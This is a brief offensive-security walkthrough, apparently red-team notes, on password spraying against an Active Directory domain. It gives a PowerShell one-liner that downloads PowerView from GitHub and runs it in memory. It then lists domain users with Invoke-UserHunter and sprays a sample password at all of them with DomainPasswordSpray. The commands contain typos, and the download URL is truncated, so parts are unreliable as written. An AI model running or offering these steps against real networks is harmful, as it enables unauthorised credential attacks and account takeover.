



Password Spraying + PowerView

First invoke the PowerView Module of UserHunter in order to enumerate the users of the environment' and Out-File the result to txt.file before starting the password spraying

1. Load the Powerview to the memory with the following command :

```
Invoke-Expression (New-Object  
System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/PowershellMafia/PowerSpl
```

2. Execute UserHunter | Select-Object -ExpandProperty UserName | Out-File users.txt in order to extract from the output the usernames

```
Invoke-UserHunter | Select-Object -ExpandProperty UserName | Out-Fille users.txt
```

Expect for a file that contains usernames.

Use DomainPasswordSpray-Master Script

```
DomainPasswordSpray.ps1.
```

```
Import-Module .\DomainPassowrdSpray.ps1
```

```
Invoke-DomainPasswordSpray -UserList .\users.txt -Domain [Domain.Name] -Password Aa123456 -  
OutFile sprayed.txt
```

These commands invoking the script and using User list function that points to the file that was generated by PowerView tool and the domain, with -Password state for a potential password and output towards a file for furthermore usage.